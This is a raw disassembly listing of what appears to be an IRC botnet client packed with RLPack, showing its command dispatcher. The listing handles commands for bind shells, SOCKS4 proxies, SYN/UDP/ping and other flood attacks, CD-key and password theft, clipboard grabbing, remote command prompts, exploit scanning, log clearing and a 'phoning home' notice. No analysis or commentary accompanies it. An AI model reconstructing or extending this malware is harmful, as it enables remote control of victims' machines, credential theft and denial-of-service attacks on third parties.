loc_4025BC: ; CODE XREF: sub_401B66+A3Aj
cmp [ebp+arg_28], ebx
jnz loc_40976F
xor edi, edi
cmp dword_42A4A8, ebx
jle loc_402769
mov [ebp+arg_20], offset dword_43FE18
loc_4025DA: ; CODE XREF: sub_401B66+A93j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_402600
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42A4A8
jl short loc_4025DA
jmp loc_402769
; ---------------------------------------------------------------------------
loc_402600: ; CODE XREF: sub_401B66+A83j
push offset asc_42E0CC ; " :"
push [ebp+arg_0]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F9E
mov cl, byte_42A090
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42A090
mov [eax+3], cl
lea ecx, dword_43FE30[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BDC0
lea eax, dword_43FE18[edi]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
lea edi, [ebp+esi+var_50]
loc_40265B: ; CODE XREF: sub_401B66+B98j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41C056
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C0D0
add esp, 14h
test eax, eax
jz short loc_4026BD
cmp [edi], ebx
jz short loc_4026C1
push [ebp+arg_C]
call sub_41B7B0
add [ebp+var_C], eax
pop ecx
jz short loc_4026F5
push dword ptr [edi-4]
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026F5
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4185D4
add esp, 0Ch
jmp short loc_4026F5
; ---------------------------------------------------------------------------
loc_4026BD: ; CODE XREF: sub_401B66+B1Dj
cmp [edi], ebx
jnz short loc_4026F5
loc_4026C1: ; CODE XREF: sub_401B66+B21j
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BDC0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4185D4
add esp, 18h
loc_4026F5: ; CODE XREF: sub_401B66+B2Fj
; sub_401B66+B40j ...
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg loc_40265B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_402711: ; CODE XREF: sub_401B66+BF7j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41C056
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C0D0
add esp, 14h
test eax, eax
jz short loc_402754
mov eax, [edi]
cmp eax, ebx
jz short loc_402754
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4185D4
add esp, 0Ch
loc_402754: ; CODE XREF: sub_401B66+BD3j
; sub_401B66+BD9j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_402711
mov [ebp+var_2C4], 1
loc_402769: ; CODE XREF: sub_401B66+A67j
; sub_401B66+A95j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42A090
jz short loc_402782
cmp [ebp+var_2C4], ebx
jz loc_40296E
loc_402782: ; CODE XREF: sub_401B66+C0Ej
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_4185D4
lea eax, [ebp+var_C0]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_4185D4
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_4185D4
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AF23
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_4185D4
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_4185D4
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C0D0
add esp, 14h
jmp loc_4028E9
; ---------------------------------------------------------------------------
loc_4027F9: ; CODE XREF: sub_401B66+D85j
push edi
push [ebp+arg_0]
call sub_41C0D0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BDC0
lea eax, [ebp+var_A0]
push offset asc_42DDE8 ; ")"
push eax
call sub_41C8C4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40283D
cmp [ebp+var_A0], 39h
jle short loc_402853
loc_40283D: ; CODE XREF: sub_401B66+CCCj
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BDC0
add esp, 0Ch
loc_402853: ; CODE XREF: sub_401B66+CD5j
lea eax, [ebp+var_A0]
push eax
call sub_41BF49
test eax, eax
pop ecx
jle short loc_402879
lea eax, [ebp+var_A0]
push eax
call sub_41BF49
pop ecx
mov [ebp+var_94], al
jmp short loc_40288D
; ---------------------------------------------------------------------------
loc_402879: ; CODE XREF: sub_401B66+CFCj
call sub_41C0B2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40288D: ; CODE XREF: sub_401B66+D11j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B7B0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BD60
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BDC0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4185D4
push edi
push [ebp+arg_0]
call sub_41C0D0
add esp, 30h
loc_4028E9: ; CODE XREF: sub_401B66+C8Ej
test eax, eax
jnz loc_4027F9
mov edi, 1FFh
lea eax, [ebp+var_4484]
push edi
push [ebp+arg_0]
push eax
call sub_41BDC0
lea eax, [ebp+var_4484]
push edi
push eax
lea eax, [ebp+var_4AEC]
push eax
call sub_41BDC0
mov edi, offset asc_42E0C8 ; " "
lea eax, [ebp+var_4AEC]
push edi
push eax
call sub_41C8C4
add esp, 20h
mov [ebp+var_90], eax
mov [ebp+arg_20], 1
loc_40293C: ; CODE XREF: sub_401B66+DF0j
push edi
push ebx
call sub_41C8C4
pop ecx
pop ecx
mov ecx, [ebp+arg_20]
inc [ebp+arg_20]
cmp [ebp+arg_20], 20h
mov [ebp+ecx*4+var_90], eax
jl short loc_40293C
lea eax, [ebp+esi+var_90]
mov ecx, [eax]
cmp ecx, ebx
jz loc_401F9E
add ecx, 3
mov [eax], ecx
loc_40296E: ; CODE XREF: sub_401B66+C16j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409722
push edi
push offset aRn ; "rn"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409722
push edi
push offset aDie ; "die"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404A43
push edi
push offset aD ; "d"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404A43
push edi
push offset aLogout ; "logout"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4049A5
push edi
push offset aLo ; "lo"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4049A5
push edi
push offset aVersion ; "version"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404996
push edi
push offset aVer ; "ver"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404996
push edi
push offset aDedication ; "dedication"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40498C
push edi
push offset aDed ; "ded"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40498C
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404973
push edi
push offset aSt ; "st"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404973
push edi
push offset aSecure ; "secure"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404876
push edi
push offset aSec ; "sec"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404876
push edi
push offset aUnsecure ; "unsecure"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404876
push edi
push offset aUnsec ; "unsec"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404876
push edi
push offset aBindshell ; "bindshell"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404771
push edi
push offset aBd ; "bd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404771
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402B1B
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42DD3C
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402B1B: ; CODE XREF: sub_401B66+F9Bj
push edi
push offset aSocks4 ; "socks4"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404650
push edi
push offset aS4 ; "s4"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404650
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402B6E
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42DD14
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402B6E: ; CODE XREF: sub_401B66+FEEj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402B97
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42DCF8
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402B97: ; CODE XREF: sub_401B66+1017j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402BC0
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42DCDC
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402BC0: ; CODE XREF: sub_401B66+1040j
push edi
push offset aLogstop ; "logstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE9
push [ebp+esi+var_8C]
push 25h
push offset dword_42DCC8
push offset dword_42DCBC
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402BE9: ; CODE XREF: sub_401B66+1069j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402C12
push [ebp+esi+var_8C]
push 18h
push offset dword_42DC9C
push offset dword_42DC8C
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402C12: ; CODE XREF: sub_401B66+1092j
push edi
push offset dword_42DC80
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402C3B
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42DC74
push offset dword_42DC68
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402C3B: ; CODE XREF: sub_401B66+10BBj
push edi
push offset aSynstop ; "synstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402C64
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42DC54
push offset dword_42DC48
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402C64: ; CODE XREF: sub_401B66+10E4j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402C8D
push [ebp+esi+var_8C]
push 10h
push offset dword_42DC2C
push offset dword_42DC1C
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402C8D: ; CODE XREF: sub_401B66+110Dj
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402CB6
push [ebp+esi+var_8C]
push 11h
push offset dword_42DC00
push offset dword_42DBF0
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402CB6: ; CODE XREF: sub_401B66+1136j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402CDF
push [ebp+esi+var_8C]
push 12h
push offset dword_42DBD8
push offset dword_42DBCC
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402CDF: ; CODE XREF: sub_401B66+115Fj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_402E35
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42DC74
push offset dword_42DC68
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
push esi
push 0Eh
push offset dword_42DC54
push offset dword_42DC48
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
add esp, 40h
push esi
push 17h
push offset dword_42DBB4
push offset dword_42DBA8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
push esi
push 16h
push offset dword_42DB9C
push offset dword_42DB90
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
add esp, 40h
push esi
push 11h
push offset dword_42DC00
push offset dword_42DBF0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
push esi
push 12h
push offset dword_42DBD8
push offset dword_42DBCC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
add esp, 40h
push esi
push 0Fh
push offset dword_42DB80
push offset dword_42DB70
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
push esi
push 13h
push offset dword_42DB60
push offset dword_42DB50
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
add esp, 40h
push esi
push 10h
push offset dword_42DC2C
push offset dword_42DC1C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B215
push ebx
push [ebp+var_4]
push offset unk_42DB1C
push [ebp+var_88]
push edi
call sub_409982
add esp, 34h
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_402E35: ; CODE XREF: sub_401B66+1188j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402E5E
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42DB80
push offset dword_42DB70
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402E5E: ; CODE XREF: sub_401B66+12DEj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402E87
push [ebp+esi+var_8C]
push 13h
push offset dword_42DB60
push offset dword_42DB50
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402E87: ; CODE XREF: sub_401B66+1307j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402EB0
push [ebp+esi+var_8C]
push 17h
push offset dword_42DBB4
push offset dword_42DBA8
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402EB0: ; CODE XREF: sub_401B66+1330j
push edi
push offset aPingstop ; "pingstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED9
push [ebp+esi+var_8C]
push 16h
push offset dword_42DB9C
push offset dword_42DB90
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402ED9: ; CODE XREF: sub_401B66+1359j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402F02
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42DAD4
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402F02: ; CODE XREF: sub_401B66+1382j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404621
push edi
push offset aFfstop ; "ffstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404621
push edi
push offset aProcsstop ; "procsstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40460C
push edi
push offset aPsstop ; "psstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40460C
push edi
push offset aClonestop ; "clonestop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402F7F
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42DA84
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402F7F: ; CODE XREF: sub_401B66+13FFj
push edi
push offset aSecurestop ; "securestop"
call sub_41C840
loc_402F8A: ; DATA XREF: .RLPack:005003A1o
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA8
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42DA60
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402FA8: ; CODE XREF: sub_401B66+1428j
push edi
push offset aScanstop ; "scanstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402FD1
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42DA40
jmp loc_404634
; ---------------------------------------------------------------------------
loc_402FD1: ; CODE XREF: sub_401B66+1451j
push edi
push offset aScanstats ; "scanstats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045F6
push edi
push offset aStats ; "stats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045F6
push edi
push offset aTransferstats ; "transferstats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045E0
push edi
push offset aTrstats ; "trstats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045E0
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045CA
push edi
push offset aCbstats ; "cbstats"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045CA
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045B4
push edi
push offset aExplist ; "explist"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4045B4
push edi
push offset aReconnect ; "reconnect"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404595
push edi
push offset aR ; "r"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404595
push edi
push offset aDisconnect ; "disconnect"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aDc ; "dc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aQuit_0 ; "quit"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40452A
push edi
push offset aQ ; "q"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40452A
push edi
push offset aStatus ; "status"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aS_1 ; "s"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aId ; "id"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4044B5
push edi
push offset aI ; "i"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4044B5
push edi
push offset aReboot ; "reboot"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40319D
call sub_418A12
test eax, eax
mov eax, offset unk_42D97C
jnz short loc_40316F
mov eax, offset unk_42D954
loc_40316F: ; CODE XREF: sub_401B66+1602j
push eax
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 1Ch
jmp loc_402418
; ---------------------------------------------------------------------------
loc_40319D: ; CODE XREF: sub_401B66+15F4j
push edi
push offset aThreads ; "threads"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4043C8
push edi
push offset aT ; "t"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4043C8
push edi
push offset aAliases ; "aliases"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4043A5
push edi
push offset aAl ; "al"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4043A5
push edi
push offset aLog909 ; "log909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4042B6
push edi
push offset aLg909 ; "lg909"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4042B6
push edi
push offset aClearlog ; "clearlog"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aClg ; "clg"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aNetinfo ; "netinfo"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404260
push edi
push offset aNi ; "ni"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404260
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404235
push edi
push offset aSi ; "si"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_404235
push edi
push offset aRemove51 ; "remove51"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4041FB
push edi
push offset aRm51 ; "rm51"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4041FB
push edi
push offset aProcs ; "procs"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4040DC
push edi
push offset aPs ; "ps"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4040DC
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aKey ; "key"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aUptime ; "uptime"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aUp ; "up"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aDrv ; "drv"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aTestdlls ; "testdlls"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi
push offset aDll ; "dll"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
loc_403395: ; DATA XREF: sub_4FE53F+233w
push edi
push offset aOpencmd ; "opencmd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F81
push edi
push offset aOcmd ; "ocmd"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F81
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4033E8
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42D880
push offset dword_42D874
jmp loc_404634
; ---------------------------------------------------------------------------
loc_4033E8: ; CODE XREF: sub_401B66+1868j
push edi
loc_4033E9: ; DATA XREF: sub_4FE53F+251w
push offset dword_42D870
call sub_41C840
pop ecx
test eax, eax
loc_4033F6: ; DATA XREF: sub_4FE53F+262w
pop ecx
jnz loc_4034E7
cmp [ebp+var_8], ebx
jnz short loc_40341C
push ebx
push [ebp+var_4]
push offset dword_42D85C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_40341C: ; CODE XREF: sub_401B66+189Aj
mov eax, [ebp+arg_18]
cmp [eax], bl
jz short loc_403426
inc eax
jmp short loc_40342B
; ---------------------------------------------------------------------------
loc_403426: ; CODE XREF: sub_401B66+18BBj
mov eax, offset aEmpty ; "<Empty>"
loc_40342B: ; CODE XREF: sub_401B66+18BEj
; DATA XREF: .RLPack:004FFAA5r ...
push eax
push ebx
lea eax, [ebp+var_2C0]
push offset aD_S ; "%d. %s"
push eax
loc_403439:
call sub_41C056
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push offset unk_42D828
call sub_4157A5
add esp, 28h
loc_403465: ; CODE XREF: sub_401B66+1B84j
; sub_401B66+2EF1j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F9E
push edi
push offset aSpoof ; "spoof"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_404B63
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_404A69
lea eax, [ebp+var_2C0]
push offset unk_42D7F4
push eax
mov dword_4D14F4, ebx
call sub_41C056
pop ecx
pop ecx
loc_4034BD: ; CODE XREF: sub_401B66+2FA4j
; sub_401B66+2FCAj ...
cmp [ebp+var_8], ebx
jnz loc_40976F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
loc_4034DF: ; CODE XREF: sub_401B66+6F5Aj
; sub_401B66+6FBEj
add esp, 14h
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_4034E7: ; CODE XREF: sub_401B66+1891j
push edi
push offset aGetclip ; "getclip"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F40
push edi
push offset aGc ; "gc"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F40
push edi
push offset aFlusharp ; "flusharp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F23
push edi
push offset aFarp ; "farp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403F23
push edi
loc_40353C: ; DATA XREF: .RLPack:004FE50Cw
; sub_4FE53F:loc_4FE56Cr ...
push offset aFlushdns ; "flushdns"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403EE5
loc_403550: ; DATA XREF: sub_4FE53F+121w
; .RLPack:004FE6B9r ...
push edi
push offset aFdns ; "fdns"
call sub_41C840
pop ecx
loc_40355C: ; DATA XREF: sub_5001B6+3Cr
test eax, eax
pop ecx
jz loc_403EE5
push edi
push offset aCurrentip ; "currentip"
call sub_41C840
loc_403570: ; DATA XREF: sub_4FE53F:loc_4FE728r
pop ecx
test eax, eax
pop ecx
jz loc_403EAB
push edi
push offset aCip ; "cip"
loc_403580: ; DATA XREF: sub_5001B6+79r
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403EAB
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403D4F
loc_4035A4: ; DATA XREF: .RLPack:004FED82r
push edi
push offset aRlogin ; "rlogin"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403D4F
push edi
push offset aHttpserver ; "httpserver"
call sub_41C840
loc_4035C4: ; DATA XREF: sub_5006F2+13r
pop ecx
test eax, eax
pop ecx
loc_4035C8: ; DATA XREF: sub_4FE53F+12Er
jz loc_403BDA
push edi
push offset aHttp ; "http"
loc_4035D4: ; DATA XREF: sub_4FE53F+22Ar
; .RLPack:loc_4FEDD8r
call sub_41C840
pop ecx
test eax, eax
loc_4035DC: ; DATA XREF: sub_4FE53F+257r
; .RLPack:004FEE0Br
pop ecx
jz loc_403BDA
push edi
loc_4035E4: ; DATA XREF: sub_4FE53F+2F6r
; .RLPack:004FEDB2r
push offset aTftpserver ; "tftpserver"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403AA9
loc_4035F8: ; DATA XREF: sub_4FE53F+21Dr
push edi
push offset aTftp ; "tftp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_403AA9
push edi
push offset aCrash ; "crash"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_403673
lea eax, [ebp+var_2C0]
push offset dword_42D74C
push eax
call sub_41C056
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403652
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_403652: ; CODE XREF: sub_401B66+1ACEj
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C840
jmp loc_4098EF
; ---------------------------------------------------------------------------
loc_403673: ; CODE XREF: sub_401B66+1AB6j
push edi
push offset aScanall ; "scanall"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4037A5
push edi
push offset aSa ; "sa"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4037A5
push edi
push offset aPhonehome ; "phonehome"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4036CA
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_40993C
loc_4036C2: ; CODE XREF: sub_401B66+40Bj
add esp, 0Ch
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_4036CA: ; CODE XREF: sub_401B66+1B46j
push edi
push offset aFindpass ; "findpass"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4036F0
push edi
push offset aFp ; "fp"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_403465
loc_4036F0: ; CODE XREF: sub_401B66+1B73j
push [ebp+var_88]
lea eax, [ebp+var_F50]
push 80h
push eax
call sub_41C150
mov eax, [ebp+arg_4]
push offset unk_42D6DC
mov [ebp+var_F54], eax
mov eax, [ebp+var_4]
mov [ebp+var_ECC], eax
mov eax, [ebp+var_8]
mov [ebp+var_EC8], eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
push ebx
